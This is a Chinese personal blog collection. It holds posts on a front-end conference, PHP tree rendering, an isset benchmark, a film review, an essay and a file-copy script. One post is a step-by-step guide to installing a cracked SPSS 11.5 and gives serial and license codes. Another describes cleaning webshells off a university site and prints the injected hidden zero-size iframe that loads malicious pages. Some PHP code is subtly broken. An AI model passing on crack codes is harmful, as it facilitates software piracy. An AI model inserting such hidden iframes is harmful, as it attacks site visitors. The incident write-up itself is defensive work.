shepherdwind

第五届D2前端技术论坛的一些感受

来到杭州十多天了,恰好赶上D2前端大会,非常幸运,发过微薄,还觉得不过瘾。

前端这个行业似乎越来越强大了,虽然国内比世界还慢了两年,但从07年淘宝首先招聘前端工程师(根据Aether提供的信息,此处有误,中国何时开始有前端这个职位无从考证了)。在大会上还看到华为的工程师过来,还有思科来的嘉宾的杜欢,这些看起来和web没有关系的公司都对前端如此有兴趣,让我很是惊讶。

回顾上周刚刚结束的velocity中国web性能大会,D2显得更加本土化。这样也好,让我们首先看看国外大神强如facebook都在干啥,再回顾回顾我们自己,不能只看着硅谷,那些大公司哪个能够在中国的大地占领市场呢。

嘉宾

这次来的嘉宾最有趣的要是来自谷歌的Hedger了,还好他是华人,汉语讲得够过二甲了。土豆的杨扬和淘宝系列都源自阿里集团,而阿里的技术又源自雅虎,Hedger也从雅虎出来的,向雅虎致敬。最后,辣妈的出现,让我们都非常惊喜,呵呵,还有很多人不知道辣妈吧,她是现场唯一的女嘉宾,不过提起今年的js版植物大战僵尸,没有人(前端业内)没有听说过吧,辣妈就是js版植物大战僵尸的作者。辣妈应该说是勇敢的探险者,就像css禅意花园,做了一些伟大的尝试。有些事情从理论上分析也许不难实现,而理论在成为实现之前都只能说是一种可能,把理想实现者,给我们的是希望,现实的希望,我们原来真的可以做到,那么下一个目标也不远了吧。

波澜不惊

这个大会的组织还是非常好的,中途换了酒店反而对我更方便了,走路就可以到达。第一场分享,来自淘宝的“前端技术在电子商务领域的应用与实践”,感觉像是在给淘宝的装修大市场打广告,淘宝作为主办方,这样做也无可厚非,但是,作为一届技术大会,不谈技术占我们那么多时间就不地道了。最后一场来自淘宝玉伯的“面向未来的前端类库开发”,感觉kissy还是缺少一些技术含量,至少没有达到前沿水平,与谷歌,fb等比起来,无法我们坐着的听人们目瞪口呆,而且,玉伯的表达能力有待增强。最后的分享环节中,淘宝渡劫和来人人网的俩分享反而不如前面那些无名人士的效果,可有可无吧。

波涛汹涌

大会总是有不少让所有人为之动容之处。首先是Hedger的讲演,很有大师的感觉,无处不发散着来自世界最优秀团队的一种hack气质。Hedger首先提出js中的很多问题,然后一一批评了那些世界顶级大师John Resig(jquery作者)和Douglas Crockford的一些在业界被广为流传,并且大量使用的一些方法。用Hedger来说,这些都是js中的奇技淫巧我们每个人都是忍者(或者说侠客),缺乏一种统一的模式。jQuery和YUI的比较是没有意义的,他们都是把性能的代价放到了客户端,让用户的电脑来解决js中的问题。

这在我们一般的思维来说,完全没有问题,客户端浏览器运行js,我们在js的范围内开发,但是我们无法预料客户端的浏览器是哪种浏览器,这样就只能做浏览器兼容了,然后出现了无数伟大的js库,然后我们来讨论怎么做一个更好的库吧,jQuery or mootool or YUI Dojo Ext……淘宝说,我们要开发一个适合我们自己的库kissy。这样的思维似乎还无漏洞,淘宝在国内是走在前列。

这样,我们都是在js的范围内思考,那么会上有个90后小伙就问了,你们面对这样一个又一个的括号,你们难道不烦吗?呵呵,一语既出,雷到全场(主持人乌龙表示压力很大),难道js不是这样写的吗?小伙说,我自己重新编译了js,然后刷刷写代码了,小家伙的思维确实很奇特,不过他应该没过大二吧,在大学的殿堂里慢慢研究吧,会有出息的。用于实际就有些过了(CoffeeScript和underscore的出现,说明,再好的想法只有实现了才能有用,我们还是应该多干活,少说话,把产品做好了才是王道)。

Douglas Crockford在99年为js辩护,称JavaScript曾是“世界上最被误解的语言”,大师一言既出,立即在整个前端界内把js语言翻身为优雅的函数式语言。John Resig大神开发jQuery,更是让无数前端小子感受到js语言本身的独特魅力。就这样,在业界形成了一种共识:JavaScript有其独特的原形继承语言,它的语言中有很多优雅的特性,我们应该尽量避免使用语言中的鸡肋部分,总体上JavaScript是这一门非常优秀的语言。无形中,js带上一顶神圣的光环,90后小家伙居然说重新编译一门语言,这不是讨打么。

但90后前面有Hedger的演讲谈Closure Compiler,其实谷歌在09年就已经开始尝试从编译的角度重新构造js了,Closure Compiler的基本思想是:让客户端的js只运行所需要的部分。谷歌的实现是通过Closure Compiler工具对js进行重新编译,把js按照一种严格的模式在服务器端首先编译好一份最简单的js文件。这种事情该是多么复杂啊,也只有大神谷歌能这样做吧,也只有谷歌对性内的极限性内要求才有如此需求。这样既不需要修改js语言,又可以以一种非常规范的模式编写js代码,这样的js代码规范在大型项目中非常有用。Hedger说谷歌的Closure 库可以自动生成说明文档,这应该与zend frameworks是一样的,否则zend哪有时间写一千多页的api文档,代码及时文档。

最后需要谈谈老赵,他的思想和谷歌的Closure Compiler有相似之处,只是相对而言,Closure Compiler更加复杂而已。老赵的Jscex则是用js语言来改变语言运行的模式,老赵来自盛大,当然专注于游戏行业了,Jscex对于js游戏开发是一个无比强大的工具。js的异步事件模型是js语言的一个强大的特性,客户端程序通常都是基础事件操作。但是异步事件在一次又一次的循环中(游戏开发中),任何人都只能望洋兴叹了,这一个事件接着一个事件,程序员很快会失去自我。不过,不能不说,Jscex也失去了JavaScript强大的事件驱动,Node.js最大特色之一就是无阻塞的异步执行,也正是建立在事件驱动之上。

在PHP的开发中,我们都被教导,不要使用goto,突然把程序断了,程序员会失去对程序的控制的。但是,js的每一个事件就是一个goto模块,当然,这在模型事件很少的时候我们还能控制场面,但是,面对动画,这一切就无能为力了。动画每隔200毫秒需要一个状态,那每一个状态的变化都需要一个函数,这样需要处理的事件就太多了。这时候flash的时间线反而更有用,Jscex使用一个函数来处理一步处理过程,这样,我们就可以像处理一条流水线一样处理动画了。

老赵只用了十分钟,就把全场震撼住了,老赵的语言能以也非常强悍。

总结

会场分两个场,只能呆在一个场,有些遗憾,希望有视频上传。

对于大会的主办方,淘宝要加油才行,虽然淘宝的技术很先进,但还没有达到可以show的前沿水平(Facebook,Twitter,Google级别),不过淘宝推荐行业发展的精神是非常值得赞赏的。

最后,语言都有其适用的范围,谷歌做谷歌的大型应用,淘宝要重用UI做各种奇形怪状的页面,盛大做游戏,90后幻想就行了。一句话,以用户为中心,以实践为引导。JavaScript已经到了一个需要超越web的时代了,走出浏览器,走向更广泛的空间。

扩展

  1. HedgerCoding Better Object-Oriented JavaScript with Closure Compiler
  2. 通用JS时代的模块机制和编译工具
  3. 基于Jscex.Async的JavaScript动画/游戏

统计软件SPSS的安装

直接步入主题吧

第一步,下载软件,最近迅雷不敢放那么多盗版的软件了,版权的问题总算被国人稍加重视了,现在找spss 11.5的英文版不那么容易了,最近(2012年2月23日)又有人问起,上搜过查了下发现没有资源了,又百度了下,在csdn上找到资讯(下载地址),似乎是好用的。我判断是否是spss11.5英文版的原则是,看题目,如果标注这spss11.5,好第一关通过,第二步,看大小,我所见过的spss11.5都是一百多兆,所以这个大小的基本就是了,下载后,看看压缩包中是否有一个叫CDKEY.txt的文件,这个文件说明了如何安装spss和破解的过程,是英文的,如果,这些都通过了,那肯定就是你要找的spss11.5英文破解版了。CSDN上的我没有去验证,读者自己去尝试吧。

第二步,安装。在解压的目录下有一个CDKEY.txt的文件,这里我给一个简单的翻译吧。

  1. 解压,点击安装。
  2. 当问及用户信息,输入你的用户名(可以随意输入),输入12345作为序列号。
  3. 略过。(一直next到第四步)
  4. 当问及许可号码时,输入30001359390点击更新(update),然后再输入30001374190,点击再次点击更新。(第四步最是关键,保证SPSS所有模块都有安装)
  5. 然后一直点击下一步就OK了(这不是翻译哦)。 感觉蛮简单的,就不贴图了,最后附上电子书下载,祝大家学习愉快,有问题留言联系。

2010年12月19日修改

因为博客服务器被服务器给停了——淘宝的商户不值得信任啊。所以这份文档的电子书也丢失了。又有很多人问起电子书就再加上了。电子书直接下载,这个更像是一个说明文档,需要什么统计方法,跟着做就行,看书还是推荐这本


中国向来都是盗版之乡,但是谁又不愿意免费享用着这世界最新最优秀的软件呢。但是本文所提到的SPSS软件,其盗版确实不是来自中国。让我们揭开这享誉全球的统计软件的神秘面纱吧。

Brief

SPSS是世界最流行的统计软件之一,主要运用在社会科学中的统计,比如心理学(我的伟大的专业,想想当年卡特尔用笔算做因素分析的是多么的壮烈之举啊,可是如今我们这些专业的心理学学生却不知道如何使用计算机来进行分析,实在是汗颜)、医学、教育学。

本文主要介绍的是SPSS11.5**英文版安装过程,在下文中,我会为大家介绍一下SPSS使用的第一步,SPSS**数据导入与基本数据操作

至于为何是SPSS11.5英文版,有以下几点原因:

  1. 据我们伟大的盖晓松老师(盖老师是绝对的专家)所说,11.5是唯一结果测试可以使用的破解版,如果安装更高级版本无法破解,而且会因此而无法安装其他版本的SPSS。
  2. 张文彤老师出版了套SPSS统计软件的教材,分为高级部分和初级部分两本。这本书的电子版下载请spss11。有教材有还有软件,万事俱备啊。
  3. 虽然SPSS可能已经升级到了18、20了,但是对于统计软件而言,更高级别所提供的不是计算的精确,也不是统计方法的优化,只是外观更加漂亮,操作更容易而已。对于我们的目的而言,学术统计使用11.5版本足够了(经常在心理学报上看有人用SPSS 10)。
  4. 做统计不是搞娱乐,不是享受。现在的学生不至于对不不了那么一点点地球人都知道的英文吧,而且,很多统计学词汇根本无法翻译成汉语,还不如英文来的直接爽快。

the idea of this article

一年前开始在百度知道上回答关于SPSS的问题,然后断断续续一直有人问我要SPSS软件,现在我们依然可以在百度上看到一堆关于SPSS基本安装下载和数据导入的问题,我的邮箱依然时不时收到“求SPSS软件”或是“求SPSS教程”的邮件。一遍又一遍回复同样的问题后,我终于忍无可忍了,想想为何不一次解决这所有人的问题呢。

至所有求助的和欲求助者

在此,对于来向我求助的同学们申明,我非常乐于提供力所能及的帮助。网络让信息在世界畅通无阻,我们可以因此而迷失于对无限信息拥有的贪婪追求中,也可以选择与世界共享。作为开源社区爱好者,享受着无数开源社区成员的努力的成果,能够用与他人分享一些我的小小的经验,也算是对于开源精神的一种支持回报吧。

在最近有一些来信我没有回复,在此表示抱歉。前一段时间在Ubuntu上溜达,无法整SPSS,而且也好久没有动统计的东东了,我只是一个稍微懂一些心理学统计的本科生,在此也只介绍一些基本的SPSS统计初步过程,再往后的路就得大家自己走了。每个专业有其合适的统计原理与方法,对于社会科学数据的统计,研究者的检验比统计技术更重要。

我认为,SPSS统计的基本过程是这样的:安装SPSS软件——>把数据以合适的方式导入SPSS中——>选择统计方法,使用SPSS计算(选择方法靠专业经验啦,SPSS如何计算参考电子书)——**>**结果分析。最重要的是选择方法和结果分析,其他的根本不需要专业知识,仅仅计算机技术而言。希望我的说明能过对大家在这些方面有所帮助。

树结构数据的html展示实现

网页中经常会需要展示一些树结构数据,而现在流行的关系型数据库(比如MySQL)都是以二位的数据形式贮存,对于通常用到的树结构需要转化为二维关系来放在数据库中。关于树结构数据的贮存,Mike Hillyer一文Managing Hierarchical Data in MySQL有非常详细的描述。

Mike Hillyer提出两种方式:

1、毗邻目录模式(adjacency list model)

2、预排序遍历树算法(modified preorder tree traversal algorithm)

虽然两种方式很好地实现了数据存储过程,但网页显示还需要做得更多。本文仅仅探讨树结构数据的展示部分。

Mike Hillyer的两种模式中,第二种是直接把数据的结构关系转存起来,数据的展示不存在问题(具体细节参考原文)。第一数据结构的存在更容易理解,所以似乎被更多人采用。这种方法的原理是把每个数与其父节点数据的一个标识符一起贮存在一列中,然后就像摸着石子过河一样,找到一个点然后可以得到前一个点(或者后一个点),然后所有的点就都可以穿在一起了。这种方法有些数学中数学归纳法的意味,它的好处在于存储数据时非常清晰——只需要处理数据本身和父节点的关系,而且可扩展性好,数据所处理的关系越少,这大概就是软件所强调的松耦合思想吧。当然这种方法的代价是低效率的查询,通常无法确定整个树的深度,这就需要使用递归查询来获得数据,递归查询数据库对于系统资源的消耗是非常巨大的。此外还有一个致命的缺陷,修改数据时容易出现节点闭合的情况,也就是这些数据围成了一个圈,如下图所示

1---->2----->4------>5
|                    |
1<----8<-----7<------6

1后面的自带元素永远不知道它们起源于1整个节点,一旦出现这种情况就会到时递归查询进入死循环,所以存储过程一定要对数据进行合理性检验(就像结婚需要避免血缘关系)。当然在做中小型网站时,这种方法还是非常好的,而且在数据变换不是很大时可以使用缓存来解决循环查询的问题。

在生产html展示页时,首先要完成的是从数据库中提取数据,并且转换为树结构。假设有如下数据:

+-------------+----------------------+--------+
|          id | name                 | parent |
+-------------+----------------------+--------+
|           1 | 1                    |      0 |
|           2 | 2                    |      0 |
|           3 | 3                    |      0 |
|           4 | 4                    |      2 |
|           5 | 5                    |      2 |
|           6 | 6                    |      3 |
|           7 | 7                    |      3 |
|           8 | 8                    |      6 |
|           9 | 9                    |      6 |
+-------------+----------------------+--------+

第一列id为一组数据的标识。用集合来描述这列数据是{1,2{4,5},3{6{8,9},7}},如下图:

树结构图

如果上图依次标上数字,就成为了预排序遍历树算法模式的贮存了,看到如此结构自然想到用在PHP中可以使用如此数组来表示

array(1,2,array(4,5),3,array(6,array(8,9),7));

于是尝试了一下如下的测试

function unlimitedSortTest()
{
    $arrSort = array(
        array(1,0),
        array(2,0),
        array(3,0),
        array(4,2),
        array(5,2),
        array(6,3),
        array(7,3),
        array(8,6),
        array(9,6)
    );
    $arrResult = array(
        1,2,array(4,5),3,array(6,array(8,9),7)
    );
    $this->unit->run($this->_listToTree($arrSort),$arrResult,'分类数据生成测试');
}

依然是使用CI的单元测试类,实现如此算法甚是折腾,一共使用了三个函数,一个作为借口函数调入数据,一个函数通过递归方式遍历所有节点,把数据与数据的深度标识依次存入一个数组中,最后一个函数获取子节点的元素,如果子节点函数返回书为空,递归循环退出。这种方式实现得非常简陋,于数据库结合,需要首先把数据库数据直接提取,然后存入一个数组。事实上,这返回的数据也无法得到上面测试想要得到的结果,数据的展示只需要可以明显看出数据之间的继承关系就可以。最后得到一个如下图的options

使用空白缩进深度作为树结构的描述方式,看来还是非常不爽,展示得毕竟非常勉强。后来无意中看到另外一种更合适的,真正的树结构:

于是又探索起来这种形式的生成过程。最终还是使用了循环查询方法,并且实现了从任意节点获取树的方法getTree,并且还有一个比较关系是否合适的函数_notChildOf。这里只有一个属性db为继承自CI的Model类,转换为其他数据库操作类也非常容易。Ok,就这样啦,最后,除了可以生成上面的选择器,还可以借助比如jQuery的table-tree插件,生成表格数据的树结构。上面Category类中,getTree函数得到的数组中,数组key值就是用来表示数据在整个书中的关系(密码在getChild中的$j中)。

/**
 *
 * 分类模型父类
 * 在数据库中结构为
 * id       childName       parentName
 * -----------------------------------
 *  1       栏目1           root
 *  2       栏目2           栏目1
 *
 */

class CategoryModel extends Model{

    /**
     *
     * 父节点名,对应为数据库中字段
     *
     * @var string
     */
    protected $_parent;

    /**
     *
     * 子节点名,对应为数据库中字段
     *
     * @var string
     */
    protected $_child;

    /**
     *
     * 更节点名
     *
     * @var string
     */
    protected $_root;

    //整体树结构缓存
    protected $_tree;

    public $table;

    /**
     *
     * 重载Datamapper构造函数
     *
     */
    function __construct()
    {
        parent::__construct();
    }

    /**
     *
     * 获取树结构,以数组形式展现
     * @param $root string 树起点名
     * @return array
     */
    public function getTree($root = NULL)
    {
        $tree = $this->getChild($root);
        $treeNode = array();

        if(!empty($tree))
        {
            $parents = array_keys($tree);
            $children = array_values($tree);

            foreach($children as $key => $child)
            {
                $parent = explode('-',$parents[$key]);
                $parentNext = isset($parents[$key + 1])?explode('-',$parents[$key+1]):NULL;
                $level = $parent[1];
                $levelNext = $parentNext ? $parentNext[1]:NULL;

                if($level == 0)
                {
                    $treeNode[$child] = $child;
                }
                elseif($level > 0 AND $levelNext AND $levelNext >= $level)
                {
                    $treeNode[$child] = '&nbsp;'.str_repeat('│&nbsp;',$level-1).'├&nbsp;'.$child;
                }
                else
                {
                    $treeNode[$child] = '&nbsp;'.str_repeat('│&nbsp;',$level-1).'└&nbsp;'.$child;
                }
            }
        }

        return $treeNode;
    }

    public function getParent($target = '',&$nodeTree = array())
    {
        if($target == $this->_root)
        {
            $nodeTree[] = $target;
        }
        else
        {
            $this->db->select($this->_parent.','.$this->_child);

            $query = $this->db->where($this->_child,$target)->get($this->table);
            if($query->num_rows() > 0)
            {
                $row = $query->row();
                $nodeTree[] = $target;
                $this->getParent($row->{$this->_parent},&$nodeTree);
            }
        }

        return $nodeTree;
    }

    public function getChild($target = NULL, &$nodeTree = array(),&$j = -1)
    {
        $target = ! $target?$this->_root:$target;

        $this->select($this->table.'.'.$this->_parent.','.$this->table.'.'.$this->_child);

        $query = $this->db->where($this->table.'.'.$this->_parent,$target)->get($this->table);

        if($query->num_rows > 0)
        {
            //$i的作用仅仅在于为每一个child提供不同的parent键值
            $i = 1;
            foreach($query->result() as $childSlibing)
            {
                $searchNode = $childSlibing->{$this->_child};
                $j++;

                $nodeTree[$target.'-'.$j.'-'.$i] = $searchNode;

                $this->getChild($has_maney,$searchNode,&$nodeTree,&$j);

                $j--;
                $i++;
            }
        }

        return $nodeTree;
    }

    /**
     *
     * 判断两者是否相互包涵,即规定改变
     */
    protected function _notChildOf($field)
    {
        if(empty($this->{$field}))
        {
            return FALSE;
        }
        else
        {
            $parents = $this->getParent($this->{$field});
            if(in_array($this->{$this->_child},$parents))
            {
                return FALSE;
            }
            else
            {
                return TRUE;
            }

        }
    }
}

isset和array_key_exists的比较测试

经常使用isset和array_key_exists测试数组中的变量是否存在,然后忽然很想知道到底两者有什么区别,然后百度了一下,有说 array_key_exists更快的,也用说isset更快的,当然似乎更多人建议 isset。

于是自己做了一个测试,比较一下两者的差异:注,本文最初发在ci论坛

结果大致如下:

当数组个数为10时,两者差异就体现出来了——isset速度要快近10倍,但不是很明显,而且对于变量是否存在,两者之间的差异没有太大,当变量存在时运行更快,但是这种趋势在是非常微弱的。使用 array_key_exists随着循环的次数增加,程序运行的时间增加量是成几何级数增加的,当一个数组元素个数超过 1000时运行速度就非常慢了。

最后总结如下:

1、isset和array_key_exists在对判断一个数组函数中某个元素是否存在,isset速度要更快,而且这 种速度差异是非常大的

2、isset属于php中的语言结构,而后者是函数,所以前者更快,isset不可 以用于可变函数

3、对于变量值的判断,当变量为NULL时,isset返回的结果是false,而后者只判断变量是否存在。所以如果判断一个数组中的某个 元素,并且判断其是否是否为真,应该用isset

4、isset属于php特定语言结构,后者在其他语言中也存在,更具可读性

具体测试过程,使用ci基准测试类测试

    function issetVsArray()
    {
        $loop = 10;

        $test = array();
        for( $i = 0; $i &lt;= $loop; $i++)
        {
            $test['test'.$i] = $i;
        }

        $this-&gt;benchmark-&gt;mark('issetAllFalse');

        for( $i = 0; $i&lt;=$loop; $i++)
        {
            isset($test['t'.$i]);
        }
        $this-&gt;benchmark-&gt;mark('arraysAllFalse');
        for( $i = 0; $i&lt;=$loop; $i++)
        {
            array_key_exists('t'.$i,$test);
        }

        $this-&gt;benchmark-&gt;mark('issetAllTrue');
        for( $i = 0; $i&lt;=$loop; $i++)
        {
            isset($test['test'.$i]);
        }
        $this-&gt;benchmark-&gt;mark('arraysAllTrue');
        for( $i = 0; $i&lt;=$loop; $i++)
        {
            array_key_exists('test'.$i,$test);
        }
        $this-&gt;benchmark-&gt;mark('end');

        echo $this-&gt;benchmark-&gt;elapsed_time('issetAllFalse','arraysAllFalse').'<br />';
        echo $this-&gt;benchmark-&gt;elapsed_time('arraysAllFalse','issetAllTrue').'<br />';
        echo $this-&gt;benchmark-&gt;elapsed_time('issetAllTrue','arraysAllTrue').'<br />';
        echo $this-&gt;benchmark-&gt;elapsed_time('arraysAllTrue','end').'<br />';
    }

几次测试结果:

循环10次,$loop=10
0.0001
0.0009
0.0001
0.0007

循环100次,$loop=100
0.0003
0.0185
0.0003
0.0189

循环1000次,$loop=1000
0.0015
0.2831
0.0020
0.2839

循环10000次,$loop=10000
0.0157
8.4764
0.0164
8.4101

纯真,执着,热爱生活

一部现代人的神话《憨豆先生的假期》

大一时的影评,那时非常喜欢这部电影,现在,看电影总如此匆忙。想想,大一时真好,每到周末就和同学讨论:这个周末去哪玩啊。现在总是没有课,却总有事情。

这是一部产自英国的喜剧,相比之下,中国所谓"无厘头"确是可笑多了。看过许多星爷的笑话,却也只记得他巨星的身份,和一些比故事本身更可笑的人物.笑过、开心过后,他没有给我们留下真正的东西.应该说他的电影是精彩的笑话,期待吧,长江七号…

电影允许高于生活,但不应脱离生活…

憨豆先生的假期

这部电影的情节如一条欢快的小溪,跌宕起伏、曲折蜿蜒、让人忍不住大笑,为憨豆的前路而焦急,让人忍不住的感动又忧伤。就这样过来,把一连串不可能的故事衔接的令人不愿相信它只是一部电影,而这一切的美好的发生只因故事的主人公是一个傻子与一个孩子…

好象是很好笑,但--更可悲。

因为傻,所以憨豆才会在无意中使小孩与他父亲分开,然后傻傻的扮一些鬼脸试图使小孩开心,最后自己的一切都不见了,所有的证件。不管怎样,他都要用那得来DC拍下身边的一些事物,地铁、自己吃饭的场景、商店里马路上路过的人们…他总是冲着镜头傻笑,尽管他是身处法国,我甚至不确定他能否与旁人自然的谈话,没有什么能够阻止他拍摄生活的激情,就算是到了他只剩下DC时,他依旧那么执着那么开心的拍下身边的一切。为了一张纸,他随手拿下一台自行车硬是追着一辆车走,而且他竟然真的追上了,结果还差点被车上的狗咬,回来是发现自行车已经被一辆经过的坦克了压成条,不过,那台摄象机还在。

因为不认识路,他确定了一个方向以后,就一直那样走过去,趟过车水马龙的马路引起身旁歪了一地的小车。在最后,忽然看到大海、beach,他痴痴的看者,一边走过去,仿佛世界就只有那等候着他的大海,所以他完全不顾现实是什么,一直那样走去,从楼顶跨过一个大的广告牌,从马路上依次停下的车顶走下,上帝为他安排的是那么的巧妙,他完全不必去理会脚下是不是踩到了他人或者是否能走。他只需傻傻的痴痴的望着大海、望着沙滩,一边拍下这一切。所以这只是一个神话,我们永远只能这样理性的看着脚下小心的走着,就算错过了多少美好。

这个神话同时又包含了两个美丽的奇迹,戏中戏。如玉上镶嵌上两块钻石,细小却光彩夺人。简单的两过故事,却是直面人性、战争、自然、名誉等这个人类所无法回避的问题。它们合在一起让人在感动之余又有一丝的忧伤。

憨豆先生拍的那一些画面又无意中成了电影中部电影中最重要的部分,也因此使得影院里本来昏昏欲睡的人们在憨豆逃到荧幕下时,全场欢呼。聚光灯下,那气愤的导演意外的选择与他拥抱,说:尽管我受到很多人的责疑,但我还是坚持自己的方式…哈,这句话很有意思,只有他一个人的电影,那只能如他在电影中所说的:nothing、nothing,and nothing…

生活不也如此吗?

当然,这是一部英国的电影,它肯定也是在宣言西方世界的一些东西。但其中更多的是世界性的,他最根本的一个话题是:生活。我们应该这样的生活在这个世界?开始时憨豆一直那么倒霉,几乎是所有常人所无法忍受的,但他一直用自己执着纯真的心去热爱着生活。

也许真正傻的人是我们。

流动的原野

折腾了两天,终于发布个人博客了。可喜可贺啊,接下来就慢慢导入文章吧。樊老师听说我要申请域名,然后问:“你要弄几个技术博客吗?能不能弄点赚钱的。”当然,我虽然无法弄一个赚钱的网站,但是,也不能仅仅是一个技术博客吧,呵呵。第一篇文章来一点感性的吧。

有时候,生活需要某种近似虚幻的感觉,当它忽然出现,会让你感到莫名的惊喜,可是你却永远无法抓住它。写这篇看图作文时似乎又回到了高中,但我终究离它越来越远啊。

清晨,微微起伏的群山间流动着一层薄薄的薄雾,雾像是一缕缕细纱,轻掩群山那微微羞涩的面庞,这一缕缕的细纱,就这样随意地淡淡地飘向远方,然后与天空的白云融为一体,仿佛这白雾是从天境流下来的。微微浮出云雾间的小山,像海面一座座孤岛,远远望去,那山更像是稍稍起伏的浅绿的草原,这亦山亦草原的世界啊,自然本无须那么多绝对的区分,我更愿意称之为流动的原野,也许,它是自然流动的音符,在某个时刻突然停止,然后永远地留在这云雾间;也许,很久很久以前,那远方的山头,有人曾仰望天地,吟唱着“念天地之悠悠,独怆然而涕下”,“彼者苍天,曷其有极”。

浩浩山野叠无际,茵茵草原漫无边。雾作纱衣树为马,天高地阔信由僵。(注:此文后面为另一人所做,当时还真以为她是文学院的去)

薄雾升起的时候,太阳还没有出来。雾气微微地升腾、流动、逸散、在山野里漂浮,像渺远的星云,更似翻涌的浪花。也许草地可以伸展、扩展,像无际的毯;疏稀的树可以慢慢走到天边,如沉寂的兽;矮山也可以起伏、绵延,似美人的眉。世界寂静无声,大地已经醒来,蒙古包倚着城堡,只有天知道,她在这里安睡。

我真想到绵绵的草地里打个滚,一直滚到云雾缭绕的仙境里去!与树木嬉戏,与同山脉私语!以草地为床,以群山为枕,以雪雾为裘——大自然是我永恒的归宿!

使用php获得听力光盘中需要考试的类容

都大三了,还要考听力,是在汗颜啊。作为东师人,大家都知道,听力考试只需要背诵那么几部分,而那基本分的听力都全部在光盘中snd文件夹中,wma格式,OK,那个软件太bt——每次都把电脑分辨率调到800px,都什么时代了,而且看电脑挺太磨叽。直接拷贝出音频还可以在p3上听。

任务就这样了,作为一个程序员有一个基本素质是:不做重复的工作——那是电脑的任务(vim创始人之语)。10个单元的题目,怎么把它拷贝出来呢? 首先,把第一单元的听力考出来,放到文件夹“听力”中,一共8个文件,文件名分别是

  1. u01LIT1f.wav
  2. u01LIT2f.wav
  3. u01LIT3f.wav
  4. u01LSD01f.wav
  5. u01LSD02f.wav
  6. u01LSD03f.wav… (1到5)

然后写一个php脚本:

define('SOURSES','G:/snd/');

for($i=6;$i&lt;=10;$i++)
{
    for($j=1;$j&lt;=3;$j++)
    {
        if($i==10)
        {
            $filename = 'u'. $i .'LIT'. $j .'f.wav';
        }
        else
        {
            $filename = 'u0'. $i .'LIT'. $j .'f.wav';
        }
        $p = fopen($filename,'w+');
        copy(SOURSES.$filename,$filename);
        fclose($p);
    }

    for($k = 1;$k&lt;=5;$k++)
    {
        if($i==10)
        {
            $filename = 'u'. $i .'LSD0'. $k .'f.wav';
        }
        else
        {
            $filename = 'u0'. $i .'LIT'. $j .'f.wav';
        }
        $p = fopen($filename,'w+');
        copy(SOURSES.$filename,$filename);
        fclose($p);
    }
}

Ok,在建立一个a.bat文件输入:

$ php a.php

a.php是php文件名,把这两个文件放在最初建立的‘听力’文件夹中,双击 a.bat就可以啦。那个php代码非常简单,只使用了一个copy函数,基本会英语的人就能看明白什么意思 注:前提是在个人电脑上安装好了 php。当然也可以使用其他语言,但是作为phper,也应该多尝试尝试php的各种功能,还是很有用的

窥视网站木马安装过程——webshell

这几天总是发现教科院新网站总是被挂马,第一次听到有人说网站被360浏览器报告有木马,很烦躁,这怎么可能呢……然后想,这个360浏览器也太差了吧, 怎么能够随便报告木马。然后没多久又报告大一信息员在添加文章时候发现居然打开不开文章添加页面了。我一看果然中木马了,于是马上把所有文档下载下来,清 除木马,然后又修补了网站的几个漏洞,查了下sql日志文件,也没有发现什么蛛丝马迹,一点头绪都没有,怎么会这样被修改网页啊。也没有发现可疑文件呀。 就这样一直忙到下午三点半还没有吃饭。

又过了几天,居然又全部中毒……而且情况基本和上次完全一样,所有目录下的index.php | html | htm文件全部被追加了一段xss代码,还有一个config文件被改,于是又修复了几个漏洞,但是还是不知道这到底怎么回事,新 网站本身的安全性能很高啊,怎么会这样被修改。然后仔细查看了所有文件,还是没有问题。

这个周末,又发现木马了!实在痛苦,不知是哪里的黑客这么烦人、卑鄙。绝对鄙视这种家伙。又是一次长时间的查看修复。一切恢复以后了,还是和前两次一样。忽然我想也许在老网站的更目录下有 webshell也说不定,新网就放在老网站中的一个文件夹中,如果老网站上有webshell,那新网站无论如何安全也同样只有被宰割的命运了。果然不到一分钟就发现一个怪异的文件z.asp,一看第一行是:

UserPass="1"     '密码串

这种文件通常就是 webshell了。在此介绍一下什么是webshell吧:webshell对于一个攻击者而言是一个完全占领一个服务器的脚本,webshell和网 站本身所运行的语言是一致的,比如教科院的网站可以运行php文件,也可以运行asp文件,那么这个z.asp就是一个恶意的文件,webshell的一 个特性是可以通过它来查看服务器上的所有文件并且可以随意的操作(包括下载修改删除),这个webshell本身和网站运行权限是一致的。

传 webshell到服务器上通常有几个途径,直接上传和通过网站漏洞(比如sql注入漏洞,利用网站程序本身写入webshell)。接下来当然是直接删 除webshell啦,还发现一个规律,webshell通常比较大,而一般的一个正常的脚本文件会在30kb以下,所以那些大的可运行文件通常非常可 疑。

然后,居然在网站上发现了4个webshell,三个asp,一个php的。下面让大家看看webshell怎么工作的吧: 首先是运行,这个webshell在根目录下,在根目录上我们更容易发现而已,希望在其他目录上不要有才好啊,有机会得写一个webshell检测的工具才 行。对于z.asp这个shell运行很简单,直接输入http://edu.nenu.edu.cn/z.asp就可以啦,当然这个页已经被我删除 了,下面是一个很酷的登陆界面

密码 就在上面了,UserPass="1" ,输入1就可以就去了

这就是主页面了,和本地的文件浏览没有什么差别,而且使用也没有什么技术难度,在这里很容易看到了传媒学院 的网站(和教课的网站放在一个目录下,所有的目录都用椭圆盖住了),然后看了下传媒的网站,确实也被注入了脚本,在文件夹旁边就有几个选项 (copy,del,move,Down),多危险啊,这里还发现了学校主页的备份,webshell下的网站是如此脆弱啊。下面是这个挂木马的工具:

呵呵,原来木马就是这样插入的啊,还发现这个有扫描木马的功能呢,也许有用。最后在本地机 上实验了一下,果然非常成功地在本身挂上了木马,而且和网站上情况一模一样——所有文件后面追加木马:

<iframe src="http://127.0.0.1/m.htm" width=0  height=0></iframe>

这个文件用户在浏览器上是看不到的,高度宽度都等于0,却暗中加载了一些任意的恶意代码。比如获取正在浏览的用户cookie,甚至是控制浏览此网页的用户

寒假学习总结

